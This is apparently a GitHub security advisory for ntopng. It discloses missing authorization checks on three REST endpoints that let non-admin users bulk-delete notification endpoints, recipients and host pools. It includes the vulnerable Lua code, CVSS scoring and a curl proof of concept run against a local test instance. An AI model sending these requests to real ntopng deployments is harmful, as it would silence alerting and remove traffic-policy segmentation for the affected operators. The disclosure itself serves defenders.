Skip to content

Missing Authorization in REST API Allows Non-Admin Users to Delete All Notification Endpoints, Recipients, and Host Pools

High
cardigliano published GHSA-m22w-f647-vx88 Jul 16, 2026

Package

ntop/ntopng

Affected versions

<= 6.7.260716

Patched versions

>= 6.7.260717

Description

Summary

Three REST API endpoints lack authorization checks, allowing any authenticated non-admin user to perform destructive bulk-delete operations normally restricted to administrators:

Endpoint Operation
POST /lua/rest/v2/delete/endpoints.lua Delete all notification endpoint configurations
POST /lua/rest/v2/delete/recipients.lua Delete all notification recipients
POST /lua/rest/v2/delete/pools.lua Delete all host pools and their member bindings

A non-admin attacker can use these endpoints to silence ntopng's entire alerting pipeline (by deleting endpoints and recipients) or to destroy host pool segmentation (by deleting all pools), without requiring any CSRF token (HTTP Basic Auth bypasses CSRF).

Details

Vulnerable files:

  • scripts/lua/rest/v2/delete/endpoints.lua
  • scripts/lua/rest/v2/delete/recipients.lua
  • scripts/lua/rest/v2/delete/pools.lua

None of these scripts contains an isAdministratorOrPrintErr(), isAdministrator(), or auth.has_capability() check. They call destructive module functions directly:

-- scripts/lua/rest/v2/delete/endpoints.lua
local endpoints = require("endpoints")
local recipients = require "recipients"
endpoints.reset_configs()   -- deletes all configured notification endpoints
recipients.cleanup()        -- deletes all notification recipients
rest_utils.answer(rest_utils.consts.success.ok)
-- scripts/lua/rest/v2/delete/recipients.lua
local recipients = require "recipients"
recipients.cleanup()        -- deletes all notification recipients
rest_utils.answer(rest_utils.consts.success.ok)
-- scripts/lua/rest/v2/delete/pools.lua
local pools_rest_utils = require "pools_rest_utils"
pools_rest_utils.delete_all_instances_pools()  -- deletes all host pools

The underlying module functions (endpoints.reset_configs(), recipients.cleanup(), pools:cleanup()) use ntop.delHashCache() and ntop.delCache() C++ bindings that write to Redis without any privilege check at the C++ layer.

Gated siblings: The individual operations for editing notification config (e.g., scripts/lua/edit_endpoint.lua line 16, scripts/lua/rest/v2/reset/notifications/config.lua line 24) check auth.has_capability(auth.capabilities.notifications) or isAdministratorOrPrintErr(). The bulk-delete REST endpoints bypass these guards.

-- scripts/lua/edit_endpoint.lua:16 (GATED - admin UI endpoint)
if not auth.has_capability(auth.capabilities.notifications) then
   rest_utils.answer(rest_utils.consts.err.not_granted)
   return
end

-- scripts/lua/rest/v2/delete/endpoints.lua (MISSING AUTH CHECK)
endpoints.reset_configs()  -- no guard before this

Why CSRF is not a mitigating control here: The ntopng HTTP server accepts Authorization: Basic header authentication. An attacker who can make HTTP requests to the ntopng port using their own credentials (password or API token) bypasses cookie-based CSRF entirely. The HTTP Basic Auth path sets csrf = NTOP_CSRF_TOKEN_NO_SESSION which is unconditionally trusted by getAuthorizedUser() in src/HTTPserver.cpp.

PoC

Prerequisites:

  • ntopng running with authentication enabled:
    docker run -d -p 3000:3000 ntop/ntopng:latest --community -i view:lo
  • Admin account (admin:Admin123!) and non-admin account (testuser:Testpass1!)

Setup -- Create a notification endpoint as admin:

curl -s -u admin:Admin123! \
  "http://localhost:3000/lua/edit_endpoint.lua" \
  -X POST \
  -d "action=add&endpoint_conf_type=email&endpoint_conf_name=AlertEndpoint&smtp_server=smtp.corp.example.com&email_sender=alerts@corp.example.com"
# Expected: {"result":{"endpoint_id":3,"status":"OK"}}

Verify endpoint exists:

curl -s -u admin:Admin123! "http://localhost:3000/lua/get_endpoint_configs.lua"
# Shows AlertEndpoint (endpoint_id=3) in the list

Attack -- Non-admin deletes ALL notification endpoints:

curl -s -u testuser:Testpass1! \
  "http://localhost:3000/lua/rest/v2/delete/endpoints.lua" \
  -X POST

Observed response (live on v6.6.260618):

{"rsp":[],"rc_str":"OK","rc":0,"rc_str_hr":"Success"}

Verify AlertEndpoint is gone:

curl -s -u admin:Admin123! "http://localhost:3000/lua/get_endpoint_configs.lua"
# AlertEndpoint (id:3) is gone -- only the builtin alert_store_db remains (rebuilt with new ID)

Attack -- Non-admin deletes ALL recipients:

curl -s -u testuser:Testpass1! \
  "http://localhost:3000/lua/rest/v2/delete/recipients.lua" \
  -X POST
# Response: {"rc_str":"OK","rc_str_hr":"Success","rsp":[],"rc":0}

Attack -- Non-admin deletes ALL host pools:

curl -s -u testuser:Testpass1! \
  "http://localhost:3000/lua/rest/v2/delete/pools.lua" \
  -X POST
# Response: {"rsp":[],"rc":0,"rc_str":"OK","rc_str_hr":"Success"}

Impact

An authenticated attacker with any valid ntopng login (unprivileged or captive-portal user) can:

  • Silence the entire alerting pipeline by deleting all notification endpoints and recipients. ntopng continues to detect threats but silently drops all generated alerts -- no emails, webhooks, or Syslog messages are delivered. An administrator monitoring ntopng would see alerts in the local alert store but all external notification channels are gone.
  • Destroy host pool segmentation by deleting all host pools. This removes all traffic policy bindings and pool-based visibility restrictions, potentially allowing policy bypass in nEdge / firewall deployments.
  • These are irreversible bulk operations with no undo. Endpoint configurations and pool bindings must be manually recreated by an administrator.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

CVE ID

No known CVE

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Credits